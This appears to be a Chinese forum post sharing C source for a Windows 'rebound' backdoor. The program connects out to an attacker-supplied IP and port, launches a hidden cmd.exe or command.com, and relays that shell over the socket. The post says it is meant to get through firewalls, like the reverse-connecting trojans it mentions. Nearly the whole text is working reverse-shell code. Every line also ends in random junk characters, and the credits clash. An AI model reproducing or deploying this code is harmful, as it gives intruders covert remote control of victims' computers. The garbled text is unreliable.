这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u~Lu<3v
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/* ============================== }u^:MI
Rebound port in Windows NT 9".Uc8^p/F
By wind,2006/7 Z[;#|$J
===============================*/ &q>h*w4O
#include gHH&IzHF
#include TNsg pJ?\
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#pragma comment(lib,"wsock32.lib") Ec.)!Hu
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void OutputShell(); M)=|<h"F
SOCKET sClient; ]L]T>~X`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |>JmS
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void main(int argc,char **argv) ;$6x=uZ
{ 5`yPT>*#m>
WSADATA stWsaData; ^Ezcy?
int nRet; Su4h'&xx
SOCKADDR_IN stSaiClient,stSaiServer; nOuN|q=C
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if(argc != 3) jaa/k@OG
{ [Yoa"K
printf("Useage:\n\rRebound DestIP DestPort\n"); vK'9{q|g
return; {.#j1r4J`
} qa;EI ;8
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WSAStartup(MAKEWORD(2,2),&stWsaData); hLn&5jYHvt
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Si[eAAd'
:
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stSaiClient.sin_family = AF_INET; ?:JdRnH \
stSaiClient.sin_port = htons(0); rJp?d9B
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `x< 0A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ndB@J*Imu
{ &
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printf("Bind Socket Failed!\n"); -MUQ\pZ
return; iUpSN0XkMM
} mR6E]TuM
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stSaiServer.sin_family = AF_INET; h
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y!BB7cK6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =X<)5IS3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %!D_q~"H
{ 3me<~u
printf("Connect Error!"); @V7;TJk
return; )m)h/_
} '|J) ds
OutputShell(); 3l.Nz@a*
} w# xncH:1
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void OutputShell() %oMWcgsdJi
{ 4h(jw
char szBuff[1024]; zmdWVFVv
SECURITY_ATTRIBUTES stSecurityAttributes; 7d%A1}Bq$
OSVERSIONINFO stOsversionInfo; ~ }Kp
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0LZ=`tI
STARTUPINFO stStartupInfo; $)4GCP
char *szShell; )|MIWgfWN
PROCESS_INFORMATION stProcessInformation; ;}n|,g>
unsigned long lBytesRead; '[ @F%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <tGI]@Nwk
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ixyvn#ux)
stSecurityAttributes.lpSecurityDescriptor = 0; WFQ*s4 R(
stSecurityAttributes.bInheritHandle = TRUE; Dg1kbO=2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $(Z]TS$M&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ks9FnDm8
7AS.)Q#=x
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6@*5!,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^cfkP(Y3kx
stStartupInfo.wShowWindow = SW_HIDE; (R9QBZP5
stStartupInfo.hStdInput = hReadPipe; myEGibhK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fc34Y0_A
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GetVersionEx(&stOsversionInfo); \ 9[NH/.Z{
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switch(stOsversionInfo.dwPlatformId) f)p>nW?Z
{ @>qx:jx(-S
case 1: a!TBk=P
szShell = "command.com"; GhSL%y
break; #rSasucr
default: YlZYS'_
szShell = "cmd.exe"; :w?:WH?2L
break; U-wq- GT
} JL}hOBqfI
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HPu/. oE
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send(sClient,szMsg,77,0); {[YqGv=fF
while(1) /Bg6z m
{ ,yB?~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `'A(`. CL
if(lBytesRead) %J/fg<W1
{ k;"R y8[k
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); doxdRYKL
send(sClient,szBuff,lBytesRead,0); }a #b$]Y
} '$2oSd
else J_y<0zF**
{ J]kP`
lBytesRead=recv(sClient,szBuff,1024,0); \Y>#^b?
if(lBytesRead<=0) break; i5L+8kx4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CYTuj>Ww
} vy2*BTU?
} YYZs#_
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return; h=iA;B^>
}